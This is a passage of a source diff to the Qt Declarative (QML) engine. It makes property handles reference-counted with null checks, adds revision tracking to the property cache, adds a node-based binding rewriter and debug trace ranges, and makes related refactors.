- uint type = q->type();
+ uint type = this->type();
if (isValueType()) {
return QDeclarativeProperty::Normal;
@@ -386,6 +384,8 @@ QDeclarativePropertyPrivate::propertyTypeCategory() const
*/
const char *QDeclarativeProperty::propertyTypeName() const
{
+ if (!d)
+ return 0;
if (d->isValueType()) {
QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(d->context);
@@ -412,6 +412,8 @@ const char *QDeclarativeProperty::propertyTypeName() const
*/
bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const
{
+ if (!d || !other.d)
+ return false;
// category is intentially omitted here as it is generated
// from the other members
return d->object == other.d->object &&
@@ -425,7 +427,7 @@ bool QDeclarativeProperty::operator==(const QDeclarativeProperty &other) const
*/
int QDeclarativeProperty::propertyType() const
{
- return d->propertyType();
+ return d ? d->propertyType() : int(QVariant::Invalid);
}
bool QDeclarativePropertyPrivate::isValueType() const
@@ -435,7 +437,7 @@ bool QDeclarativePropertyPrivate::isValueType() const
int QDeclarativePropertyPrivate::propertyType() const
{
- uint type = q->type();
+ uint type = this->type();
if (isValueType()) {
return valueType.valueTypePropType;
} else if (type & QDeclarativeProperty::Property) {
@@ -448,17 +450,22 @@ int QDeclarativePropertyPrivate::propertyType() const
}
}
+QDeclarativeProperty::Type QDeclarativePropertyPrivate::type() const
+{
+ if (core.flags & QDeclarativePropertyCache::Data::IsFunction)
+ return QDeclarativeProperty::SignalProperty;
+ else if (core.isValid())
+ return QDeclarativeProperty::Property;
+ else
+ return QDeclarativeProperty::Invalid;
+}
+
/*!
Returns the type of the property.
*/
QDeclarativeProperty::Type QDeclarativeProperty::type() const
{
- if (d->core.flags & QDeclarativePropertyCache::Data::IsFunction)
- return SignalProperty;
- else if (d->core.isValid())
- return Property;
- else
- return Invalid;
+ return d ? d->type() : Invalid;
}
/*!
@@ -482,7 +489,7 @@ bool QDeclarativeProperty::isSignalProperty() const
*/
QObject *QDeclarativeProperty::object() const
{
- return d->object;
+ return d ? d->object : 0;
}
/*!
@@ -490,15 +497,11 @@ QObject *QDeclarativeProperty::object() const
*/
QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty &other)
{
- d->context = other.d->context;
- d->engine = other.d->engine;
- d->object = other.d->object;
-
- d->isNameCached = other.d->isNameCached;
- d->core = other.d->core;
- d->nameCache = other.d->nameCache;
-
- d->valueType = other.d->valueType;
+ if (d)
+ d->release();
+ d = other.d;
+ if (d)
+ d->addref();
return *this;
}
@@ -508,6 +511,8 @@ QDeclarativeProperty &QDeclarativeProperty::operator=(const QDeclarativeProperty
*/
bool QDeclarativeProperty::isWritable() const
{
+ if (!d)
+ return false;
if (!d->object)
return false;
if (d->core.flags & QDeclarativePropertyCache::Data::IsQList) //list
@@ -525,6 +530,8 @@ bool QDeclarativeProperty::isWritable() const
*/
bool QDeclarativeProperty::isDesignable() const
{
+ if (!d)
+ return false;
if (type() & Property && d->core.isValid() && d->object)
return d->object->metaObject()->property(d->core.coreIndex).isDesignable();
else
@@ -536,6 +543,8 @@ bool QDeclarativeProperty::isDesignable() const
*/
bool QDeclarativeProperty::isResettable() const
{
+ if (!d)
+ return false;
if (type() & Property && d->core.isValid() && d->object)
return d->core.flags & QDeclarativePropertyCache::Data::IsResettable;
else
@@ -548,6 +557,8 @@ bool QDeclarativeProperty::isResettable() const
*/
bool QDeclarativeProperty::isValid() const
{
+ if (!d)
+ return false;
return type() != Invalid;
}
@@ -556,6 +567,8 @@ bool QDeclarativeProperty::isValid() const
*/
QString QDeclarativeProperty::name() const
{
+ if (!d)
+ return QString();
if (!d->isNameCached) {
// ###
if (!d->object) {
@@ -592,6 +605,8 @@ QString QDeclarativeProperty::name() const
*/
QMetaProperty QDeclarativeProperty::property() const
{
+ if (!d)
+ return QMetaProperty();
if (type() & Property && d->core.isValid() && d->object)
return d->object->metaObject()->property(d->core.coreIndex);
else
@@ -604,6 +619,8 @@ QMetaProperty QDeclarativeProperty::property() const
*/
QMetaMethod QDeclarativeProperty::method() const
{
+ if (!d)
+ return QMetaMethod();
if (type() & SignalProperty && d->object)
return d->object->metaObject()->method(d->core.coreIndex);
else
@@ -617,7 +634,7 @@ QMetaMethod QDeclarativeProperty::method() const
QDeclarativeAbstractBinding *
QDeclarativePropertyPrivate::binding(const QDeclarativeProperty &that)
{
- if (!that.isProperty() || !that.d->object)
+ if (!that.d || !that.isProperty() || !that.d->object)
return 0;
return binding(that.d->object, that.d->core.coreIndex, that.d->valueType.valueTypeCoreIdx);
@@ -641,7 +658,7 @@ QDeclarativePropertyPrivate::setBinding(const QDeclarativeProperty &that,
QDeclarativeAbstractBinding *newBinding,
WriteFlags flags)
{
- if (!that.isProperty() || !that.d->object) {
+ if (!that.d || !that.isProperty() || !that.d->object) {
if (newBinding)
newBinding->destroy();
return 0;
@@ -891,6 +908,8 @@ QDeclarativePropertyPrivate::setSignalExpression(const QDeclarativeProperty &tha
*/
QVariant QDeclarativeProperty::read() const
{
+ if (!d)
+ return QVariant();
if (!d->object)
return QVariant();
@@ -1032,8 +1051,10 @@ bool QDeclarativePropertyPrivate::writeEnumProperty(const QMetaProperty &prop, i
bool QDeclarativePropertyPrivate::writeValueProperty(const QVariant &value, WriteFlags flags)
{
// Remove any existing bindings on this property
- if (!(flags & DontRemoveBinding)) {
- QDeclarativeAbstractBinding *binding = setBinding(*q, 0);
+ if (!(flags & DontRemoveBinding) &&
+ (type() & QDeclarativeProperty::Property) && object) {
+ QDeclarativeAbstractBinding *binding = setBinding(object, core.coreIndex,
+ valueType.valueTypeCoreIdx, 0, flags);
if (binding) binding->destroy();
}
@@ -1312,6 +1333,8 @@ bool QDeclarativeProperty::reset() const
bool QDeclarativePropertyPrivate::write(const QDeclarativeProperty &that,
const QVariant &value, WriteFlags flags)
{
+ if (!that.d)
+ return false;
if (that.d->object && that.type() & QDeclarativeProperty::Property &&
that.d->core.isValid() && that.isWritable())
return that.d->writeValueProperty(value, flags);
@@ -1390,12 +1413,12 @@ bool QDeclarativeProperty::connectNotifySignal(QObject *dest, const char *slot)
*/
int QDeclarativeProperty::index() const
{
- return d->core.coreIndex;
+ return d ? d->core.coreIndex : -1;
}
int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &that)
{
- return that.d->valueType.valueTypeCoreIdx;
+ return that.d ? that.d->valueType.valueTypeCoreIdx : -1;
}
/*!
@@ -1404,6 +1427,8 @@ int QDeclarativePropertyPrivate::valueTypeCoreIndex(const QDeclarativeProperty &
*/
int QDeclarativePropertyPrivate::bindingIndex(const QDeclarativeProperty &that)
{
+ if (!that.d)
+ return -1;
int rv = that.d->core.coreIndex;
if (rv != -1 && that.d->valueType.valueTypeCoreIdx != -1)
rv = rv | (that.d->valueType.valueTypeCoreIdx << 24);
@@ -1455,18 +1480,28 @@ QDeclarativePropertyPrivate::restore(const QByteArray &data, QObject *object, QD
if (data.isEmpty())
return prop;
- prop.d->object = object;
- prop.d->context = ctxt;
- prop.d->engine = ctxt->engine;
-
const SerializedData *sd = (const SerializedData *)data.constData();
if (sd->isValueType) {
const ValueTypeSerializedData *vt = (const ValueTypeSerializedData *)sd;
- prop.d->core = vt->core;
- prop.d->valueType = vt->valueType;
+ return restore(vt->core, vt->valueType, object, ctxt);
} else {
- prop.d->core = sd->core;
+ QDeclarativePropertyCache::ValueTypeData data;
+ return restore(sd->core, data, object, ctxt);
}
+}
+
+QDeclarativeProperty
+QDeclarativePropertyPrivate::restore(const QDeclarativePropertyCache::Data &data, const QDeclarativePropertyCache::ValueTypeData &valueType, QObject *object, QDeclarativeContextData *ctxt)
+{
+ QDeclarativeProperty prop;
+
+ prop.d = new QDeclarativePropertyPrivate;
+ prop.d->object = object;
+ prop.d->context = ctxt;
+ prop.d->engine = ctxt->engine;
+
+ prop.d->core = data;
+ prop.d->valueType = valueType;
return prop;
}
diff --git a/src/declarative/qml/qdeclarativeproperty_p.h b/src/declarative/qml/qdeclarativeproperty_p.h
index 334cfcf..bd2c891 100644
--- a/src/declarative/qml/qdeclarativeproperty_p.h
+++ b/src/declarative/qml/qdeclarativeproperty_p.h
@@ -65,23 +65,15 @@ QT_BEGIN_NAMESPACE
class QDeclarativeContext;
class QDeclarativeEnginePrivate;
class QDeclarativeExpression;
-class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyPrivate : public QDeclarativeRefCount
{
public:
enum WriteFlag { BypassInterceptor = 0x01, DontRemoveBinding = 0x02, RemoveBindingOnAliasWrite = 0x04 };
Q_DECLARE_FLAGS(WriteFlags, WriteFlag)
QDeclarativePropertyPrivate()
- : q(0), context(0), engine(0), object(0), isNameCached(false) {}
-
+ : context(0), engine(0), object(0), isNameCached(false) {}
- QDeclarativePropertyPrivate(const QDeclarativePropertyPrivate &other)
- : q(0), context(other.context), engine(other.engine), object(other.object),
- isNameCached(other.isNameCached),
- core(other.core), nameCache(other.nameCache),
- valueType(other.valueType) {}
-
- QDeclarativeProperty *q;
QDeclarativeContextData *context;
QDeclarativeEngine *engine;
QDeclarativeGuard<QObject> object;
@@ -98,6 +90,7 @@ public:
bool isValueType() const;
int propertyType() const;
+ QDeclarativeProperty::Type type() const;
QDeclarativeProperty::PropertyTypeCategory propertyTypeCategory() const;
QVariant readValueProperty();
@@ -119,7 +112,12 @@ public:
static QByteArray saveValueType(const QMetaObject *, int,
const QMetaObject *, int);
static QByteArray saveProperty(const QMetaObject *, int);
+
static QDeclarativeProperty restore(const QByteArray &, QObject *, QDeclarativeContextData *);
+ static QDeclarativeProperty restore(const QDeclarativePropertyCache::Data &,
+ const QDeclarativePropertyCache::ValueTypeData &,
+ QObject *,
+ QDeclarativeContextData *);
static bool equal(const QMetaObject *, const QMetaObject *);
static bool canConvert(const QMetaObject *from, const QMetaObject *to);
diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp
index 91badae..6a39a65 100644
--- a/src/declarative/qml/qdeclarativepropertycache.cpp
+++ b/src/declarative/qml/qdeclarativepropertycache.cpp
@@ -88,6 +88,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaProperty &p, QDeclarativeE
coreIndex = p.propertyIndex();
notifyIndex = p.notifySignalIndex();
flags = flagsForProperty(p, engine);
+ revision = p.revision();
}
void QDeclarativePropertyCache::Data::load(const QMetaMethod &m)
@@ -106,6 +107,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaMethod &m)
QList<QByteArray> params = m.parameterTypes();
if (!params.isEmpty())
flags |= Data::HasArguments;
+ revision = m.revision();
}
@@ -216,6 +218,7 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
cache->methodIndexCache = methodIndexCache;
cache->stringCache = stringCache;
cache->identifierCache = identifierCache;
+ cache->allowedRevisionCache = allowedRevisionCache;
for (int ii = 0; ii < indexCache.count(); ++ii) {
if (indexCache.at(ii)) indexCache.at(ii)->addref();
@@ -234,8 +237,18 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject,
Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
{
- QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+ append(engine, metaObject, -1, propertyFlags, methodFlags, signalFlags);
+}
+
+void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject,
+ int revision,
+ Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
+{
+ Q_UNUSED(revision);
+
+ allowedRevisionCache.append(0);
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
int methodCount = metaObject->methodCount();
// 3 to block the destroyed signal and the deleteLater() slot
int methodOffset = qMax(3, metaObject->methodOffset());
@@ -261,11 +274,15 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
else if (m.methodType() == QMetaMethod::Signal)
data->flags |= signalFlags;
+ data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
if (stringCache.contains(methodName)) {
RData *old = stringCache[methodName];
// We only overload methods in the same class, exactly like C++
if (old->flags & Data::IsFunction && old->coreIndex >= methodOffset)
data->relatedIndex = old->coreIndex;
+ data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+ data->overrideIndex = old->coreIndex;
stringCache[methodName]->release();
identifierCache[data->identifier.identifier]->release();
}
@@ -294,7 +311,12 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
data->load(p, engine);
data->flags |= propertyFlags;
+ data->metaObjectOffset = allowedRevisionCache.count() - 1;
+
if (stringCache.contains(propName)) {
+ RData *old = stringCache[propName];
+ data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
+ data->overrideIndex = old->coreIndex;
stringCache[propName]->release();
identifierCache[data->identifier.identifier]->release();
}
diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h
index df2412c..eeeff1a 100644
--- a/src/declarative/qml/qdeclarativepropertycache_p.h
+++ b/src/declarative/qml/qdeclarativepropertycache_p.h
@@ -110,6 +110,10 @@ public:
int notifyIndex; // When !IsFunction
int relatedIndex; // When IsFunction
};
+ uint overrideIndexIsProperty : 1;
+ int overrideIndex : 31;
+ int revision;
+ int metaObjectOffset;
static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0);
void load(const QMetaProperty &, QDeclarativeEngine *engine = 0);
@@ -131,8 +135,9 @@ public:
QDeclarativePropertyCache *copy() const;
void append(QDeclarativeEngine *, const QMetaObject *, Data::Flag propertyFlags = Data::NoFlags,
Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
+ void append(QDeclarativeEngine *, const QMetaObject *, int revision, Data::Flag propertyFlags = Data::NoFlags,
+ Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
- static QDeclarativePropertyCache *create(QDeclarativeEngine *, const QMetaObject *);
static Data create(const QMetaObject *, const QString &);
inline Data *property(const QScriptDeclarativeClass::Identifier &id) const;
@@ -141,13 +146,19 @@ public:
Data *method(int) const;
QStringList propertyNames() const;
+ inline Data *overrideData(Data *) const;
+ inline bool isAllowedInRevision(Data *) const;
+
inline QDeclarativeEngine *qmlEngine() const;
static Data *property(QDeclarativeEngine *, QObject *, const QScriptDeclarativeClass::Identifier &, Data &);
static Data *property(QDeclarativeEngine *, QObject *, const QString &, Data &);
+
protected:
virtual void clear();
private:
+ friend class QDeclarativeEnginePrivate;
+
struct RData : public Data, public QDeclarativeRefCount {
QScriptDeclarativeClass::PersistentIdentifier identifier;
};
@@ -155,6 +166,7 @@ private:
typedef QVector<RData *> IndexCache;
typedef QHash<QString, RData *> StringCache;
typedef QHash<QScriptDeclarativeClass::Identifier, RData *> IdentifierCache;
+ typedef QVector<int> AllowedRevisionCache;
void updateRecur(QDeclarativeEngine *, const QMetaObject *);
@@ -163,11 +175,13 @@ private:
IndexCache methodIndexCache;
StringCache stringCache;
IdentifierCache identifierCache;
+ AllowedRevisionCache allowedRevisionCache;
};
Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyCache::Data::Flags);
QDeclarativePropertyCache::Data::Data()
-: flags(0), propType(0), coreIndex(-1), notifyIndex(-1)
+: flags(0), propType(0), coreIndex(-1), notifyIndex(-1), overrideIndexIsProperty(false), overrideIndex(-1),
+ revision(0), metaObjectOffset(-1)
{
}
@@ -176,7 +190,20 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache
return flags == other.flags &&
propType == other.propType &&
coreIndex == other.coreIndex &&
- notifyIndex == other.notifyIndex;
+ notifyIndex == other.notifyIndex &&
+ revision == other.revision;
+}
+
+QDeclarativePropertyCache::Data *
+QDeclarativePropertyCache::overrideData(Data *data) const
+{
+ if (data->overrideIndex < 0)
+ return 0;
+
+ if (data->overrideIndexIsProperty)
+ return indexCache.at(data->overrideIndex);
+ else
+ return methodIndexCache.at(data->overrideIndex);
}
QDeclarativePropertyCache::Data *
@@ -197,6 +224,12 @@ bool QDeclarativePropertyCache::ValueTypeData::operator==(const ValueTypeData &o
valueTypePropType == o.valueTypePropType;
}
+bool QDeclarativePropertyCache::isAllowedInRevision(Data *data) const
+{
+ return (data->metaObjectOffset == -1 && data->revision == 0) ||
+ (allowedRevisionCache[data->metaObjectOffset] >= data->revision);
+}
+
QDeclarativeEngine *QDeclarativePropertyCache::qmlEngine() const
{
return engine;
diff --git a/src/declarative/qml/qdeclarativerefcount_p.h b/src/declarative/qml/qdeclarativerefcount_p.h
index 868cdc4..b896e5f 100644
--- a/src/declarative/qml/qdeclarativerefcount_p.h
+++ b/src/declarative/qml/qdeclarativerefcount_p.h
@@ -61,7 +61,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
-class Q_AUTOTEST_EXPORT QDeclarativeRefCount
+class Q_DECLARATIVE_EXPORT QDeclarativeRefCount
{
public:
QDeclarativeRefCount();
diff --git a/src/declarative/qml/qdeclarativerewrite.cpp b/src/declarative/qml/qdeclarativerewrite.cpp
index 2cb1c65..6311e01 100644
--- a/src/declarative/qml/qdeclarativerewrite.cpp
+++ b/src/declarative/qml/qdeclarativerewrite.cpp
@@ -62,12 +62,17 @@ bool SharedBindingTester::isSharable(const QString &code)
if (!parser.statement())
return false;
+ return isSharable(parser.statement());
+}
+
+bool SharedBindingTester::isSharable(AST::Node *node)
+{
_sharable = true;
- AST::Node::acceptChild(parser.statement(), this);
+ AST::Node::acceptChild(node, this);
return _sharable;
}
-QString RewriteBinding::operator()(const QString &code, bool *ok)
+QString RewriteBinding::operator()(const QString &code, bool *ok, bool *sharable)
{
Engine engine;
NodePool pool(QString(), &engine);
@@ -80,10 +85,63 @@ QString RewriteBinding::operator()(const QString &code, bool *ok)
return QString();
} else {
if (ok) *ok = true;
+ if (sharable) {
+ SharedBindingTester tester;
+ *sharable = tester.isSharable(parser.statement());
+ }
}
return rewrite(code, 0, parser.statement());
}
+QString RewriteBinding::operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable)
+{
+ if (!node)
+ return code;
+
+ if (sharable) {
+ SharedBindingTester tester;
+ *sharable = tester.isSharable(node);
+ }
+
+ QDeclarativeJS::AST::ExpressionNode *expression = node->expressionCast();
+ QDeclarativeJS::AST::Statement *statement = node->statementCast();
+ if(!expression && !statement)
+ return code;
+
+ TextWriter w;
+ _writer = &w;
+ _position = expression ? expression->firstSourceLocation().begin() : statement->firstSourceLocation().begin();
+ _inLoop = 0;
+
+ accept(node);
+
+ unsigned startOfStatement = 0;
+ unsigned endOfStatement = (expression ? expression->lastSourceLocation().end() : statement->lastSourceLocation().end()) - _position;
+
+ QString startString = QLatin1String("(function ") + QString::fromUtf8(_name) + QLatin1String("() { ");
+ if (expression)
+ startString += QLatin1String("return ");
+ _writer->replace(startOfStatement, 0, startString);
+ _writer->replace(endOfStatement, 0, QLatin1String(" })"));
+
+ if (rewriteDump()) {
+ qWarning() << "=============================================================";
+ qWarning() << "Rewrote:";
+ qWarning() << qPrintable(code);
+ }
+
+ QString codeCopy = code;
+ w.write(&codeCopy);
+
+ if (rewriteDump()) {
+ qWarning() << "To:";
+ qWarning() << qPrintable(code);
+ qWarning() << "=============================================================";
+ }
+
+ return codeCopy;
+}
+
void RewriteBinding::accept(AST::Node *node)
{
AST::Node::acceptChild(node, this);
diff --git a/src/declarative/qml/qdeclarativerewrite_p.h b/src/declarative/qml/qdeclarativerewrite_p.h
index fc44a81..7c20a39 100644
--- a/src/declarative/qml/qdeclarativerewrite_p.h
+++ b/src/declarative/qml/qdeclarativerewrite_p.h
@@ -68,6 +68,7 @@ class SharedBindingTester : protected AST::Visitor
bool _sharable;
public:
bool isSharable(const QString &code);
+ bool isSharable(AST::Node *Node);
virtual bool visit(AST::FunctionDeclaration *) { _sharable = false; return false; }
virtual bool visit(AST::FunctionExpression *) { _sharable = false; return false; }
@@ -81,7 +82,8 @@ class RewriteBinding: protected AST::Visitor
QByteArray _name;
public:
- QString operator()(const QString &code, bool *ok = 0);
+ QString operator()(const QString &code, bool *ok = 0, bool *sharable = 0);
+ QString operator()(QDeclarativeJS::AST::Node *node, const QString &code, bool *sharable = 0);
//name of the function: used for the debugger
void setName(const QByteArray &name) { _name = name; }
diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp
index 4531381..e8f6b0d 100644
--- a/src/declarative/qml/qdeclarativescriptparser.cpp
+++ b/src/declarative/qml/qdeclarativescriptparser.cpp
@@ -65,16 +65,16 @@ class ProcessAST: protected AST::Visitor
{
struct State {
State() : object(0), property(0) {}
- State(Object *o) : object(o), property(0) {}
- State(Object *o, Property *p) : object(o), property(p) {}
+ State(QDeclarativeParser::Object *o) : object(o), property(0) {}
+ State(QDeclarativeParser::Object *o, Property *p) : object(o), property(p) {}
- Object *object;
+ QDeclarativeParser::Object *object;
Property *property;
};
struct StateStack : public QStack<State>
{
- void pushObject(Object *obj)
+ void pushObject(QDeclarativeParser::Object *obj)
{
push(State(obj));
}
@@ -105,7 +105,7 @@ public:
protected:
- Object *defineObjectBinding(AST::UiQualifiedId *propertyName, bool onAssignment,
+ QDeclarativeParser::Object *defineObjectBinding(AST::UiQualifiedId *propertyName, bool onAssignment,
const QString &objectType,
AST::SourceLocation typeLocation,
LocationSpan location,
@@ -134,7 +134,7 @@ protected:
QString asString(AST::UiQualifiedId *node) const;
const State state() const;
- Object *currentObject() const;
+ QDeclarativeParser::Object *currentObject() const;
Property *currentProperty() const;
QString qualifiedNameId() const;
@@ -170,12 +170,6 @@ private:
StateStack _stateStack;
QStringList _scope;
QString _contents;
-
- inline bool isSignalProperty(const QByteArray &propertyName) const {
- return (propertyName.length() >= 3 && propertyName.startsWith("on") &&
- ('A' <= propertyName.at(2) && 'Z' >= propertyName.at(2)));
- }
-
};
ProcessAST::ProcessAST(QDeclarativeScriptParser *parser)
@@ -206,7 +200,7 @@ const ProcessAST::State ProcessAST::state() const
return _stateStack.back();
}
-Object *ProcessAST::currentObject() const
+QDeclarativeParser::Object *ProcessAST::currentObject() const
{
return state().object;
}
@@ -235,7 +229,7 @@ QString ProcessAST::asString(AST::UiQualifiedId *node) const
return s;
}
-Object *
+QDeclarativeParser::Object *
ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
bool onAssignment,
const QString &objectType,
@@ -292,7 +286,7 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
if (lastTypeDot >= 0)
resolvableObjectType.replace(QLatin1Char('.'),QLatin1Char('/'));
- Object *obj = new Object;
+ QDeclarativeParser::Object *obj = new QDeclarativeParser::Object;
QDeclarativeScriptParser::TypeReference *typeRef = _parser->findOrCreateType(resolvableObjectType);
obj->type = typeRef->id;
@@ -307,9 +301,8 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
obj->location = location;
if (propertyCount) {
-
Property *prop = currentProperty();
- Value *v = new Value;
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
v->object = obj;
v->location = obj->location;
if (onAssignment)
@@ -326,7 +319,7 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName,
_parser->setTree(obj);
} else {
const State state = _stateStack.top();
- Value *v = new Value;
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
v->object = obj;
v->location = obj->location;
if (state.property) {
@@ -601,7 +594,7 @@ bool ProcessAST::visit(AST::UiPublicMember *node)
property.defaultValue->location =
location(node->expression->firstSourceLocation(),
node->expression->lastSourceLocation());
- Value *value = new Value;
+ QDeclarativeParser::Value *value = new QDeclarativeParser::Value;
value->location = location(node->expression->firstSourceLocation(),
node->expression->lastSourceLocation());
value->value = getVariant(node->expression);
@@ -705,7 +698,7 @@ bool ProcessAST::visit(AST::UiScriptBinding *node)
prop->location.range.length = prop->location.range.offset + prop->location.range.length - node->qualifiedId->identifierToken.offset;
prop->location.range.offset = node->qualifiedId->identifierToken.offset;
- Value *v = new Value;
+ QDeclarativeParser::Value *v = new QDeclarativeParser::Value;
v->value = primitive;
v->location = location(node->statement->firstSourceLocation(),
node->statement->lastSourceLocation());
@@ -877,7 +870,7 @@ QList<QDeclarativeScriptParser::TypeReference*> QDeclarativeScriptParser::refere
return _refTypes;
}
-Object *QDeclarativeScriptParser::tree() const
+QDeclarativeParser::Object *QDeclarativeScriptParser::tree() const
{
return root;
}
@@ -1200,7 +1193,7 @@ QDeclarativeScriptParser::TypeReference *QDeclarativeScriptParser::findOrCreateT
return type;
}
-void QDeclarativeScriptParser::setTree(Object *tree)
+void QDeclarativeScriptParser::setTree(QDeclarativeParser::Object *tree)
{
Q_ASSERT(! root);
diff --git a/src/declarative/qml/qdeclarativesqldatabase.cpp b/src/declarative/qml/qdeclarativesqldatabase.cpp
index 7d3450d..207fb57 100644
--- a/src/declarative/qml/qdeclarativesqldatabase.cpp
+++ b/src/declarative/qml/qdeclarativesqldatabase.cpp
@@ -351,7 +351,7 @@ static QScriptValue qmlsqldatabase_read_transaction(QScriptContext *context, QSc
}
/*
- Currently documented in doc/src/declarastive/globalobject.qdoc
+ Currently documented in doc/src/declarative/globalobject.qdoc
*/
static QScriptValue qmlsqldatabase_open_sync(QScriptContext *context, QScriptEngine *engine)
{
diff --git a/src/declarative/qml/qdeclarativestringconverters.cpp b/src/declarative/qml/qdeclarativestringconverters.cpp
index 371c504..aa1de43 100644
--- a/src/declarative/qml/qdeclarativestringconverters.cpp
+++ b/src/declarative/qml/qdeclarativestringconverters.cpp
@@ -136,7 +136,7 @@ QVariant QDeclarativeStringConverters::variantFromString(const QString &s, int p
QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok)
{
- if (s.startsWith(QLatin1Char('#')) && s.length() == 9) {
+ if (s.length() == 9 && s.startsWith(QLatin1Char('#'))) {
uchar a = fromHex(s, 1);
uchar r = fromHex(s, 3);
uchar g = fromHex(s, 5);
@@ -144,9 +144,7 @@ QColor QDeclarativeStringConverters::colorFromString(const QString &s, bool *ok)
if (ok) *ok = true;
return QColor(r, g, b, a);
} else {
- QColor rv;
- if (s.startsWith(QLatin1Char('#')) || QColor::colorNames().contains(s.toLower()))
- rv = QColor(s);
+ QColor rv(s);
if (ok) *ok = rv.isValid();
return rv;
}
diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp
index 45e6dbf..36cdde9 100644
--- a/src/declarative/qml/qdeclarativetypeloader.cpp
+++ b/src/declarative/qml/qdeclarativetypeloader.cpp
@@ -45,6 +45,7 @@
#include <private/qdeclarativecompiler_p.h>
#include <private/qdeclarativecomponent_p.h>
#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
#include <QtDeclarative/qdeclarativecomponent.h>
#include <QtCore/qdebug.h>
@@ -895,10 +896,12 @@ void QDeclarativeTypeData::downloadProgressChanged(qreal p)
void QDeclarativeTypeData::compile()
{
Q_ASSERT(m_compiledData == 0);
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Compiling);
m_compiledData = new QDeclarativeCompiledData(typeLoader()->engine());
m_compiledData->url = m_imports.baseUrl();
m_compiledData->name = m_compiledData->url.toString();
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Compiling, m_compiledData->name);
QDeclarativeCompiler compiler;
if (!compiler.compile(typeLoader()->engine(), this, m_compiledData)) {
@@ -906,6 +909,7 @@ void QDeclarativeTypeData::compile()
m_compiledData->release();
m_compiledData = 0;
}
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Compiling);
}
void QDeclarativeTypeData::resolveTypes()
@@ -1001,6 +1005,8 @@ void QDeclarativeTypeData::resolveTypes()
}
if (ref.type) {
+ ref.majorVersion = majorVersion;
+ ref.minorVersion = minorVersion;
foreach (QDeclarativeParser::Object *obj, parserRef->refObjects) {
// store namespace for DOM
obj->majorVersion = majorVersion;
diff --git a/src/declarative/qml/qdeclarativetypeloader_p.h b/src/declarative/qml/qdeclarativetypeloader_p.h
index beee358..6938892 100644
--- a/src/declarative/qml/qdeclarativetypeloader_p.h
+++ b/src/declarative/qml/qdeclarativetypeloader_p.h
@@ -215,10 +215,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeTypeData : public QDeclarativeDataBlob
public:
struct TypeReference
{
- TypeReference() : type(0), typeData(0) {}
+ TypeReference() : type(0), majorVersion(0), minorVersion(0), typeData(0) {}
QDeclarativeParser::Location location;
QDeclarativeType *type;
+ int majorVersion;
+ int minorVersion;
QDeclarativeTypeData *typeData;
};
diff --git a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
index 4a8ffe0..d3e2025 100644
--- a/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
+++ b/src/declarative/qml/qdeclarativetypenamescriptclass.cpp
@@ -109,9 +109,8 @@ QDeclarativeTypeNameScriptClass::queryProperty(Object *obj, const Identifier &na
} else if (data->type) {
- QString strName = toString(name);
-
- if (strName.at(0).isUpper()) {
+ if (startsWithUpper(name)) {
+ QString strName = toString(name);
// Must be an enum
if (data->mode == IncludeEnums) {
// ### Optimize
diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp
index 659c986..0f884b6 100644
--- a/src/declarative/qml/qdeclarativevaluetype.cpp
+++ b/src/declarative/qml/qdeclarativevaluetype.cpp
@@ -71,6 +71,7 @@ int qmlRegisterValueTypeEnums(const char *uri, int versionMajor, int versionMino
0, 0,
+ 0,
0
};
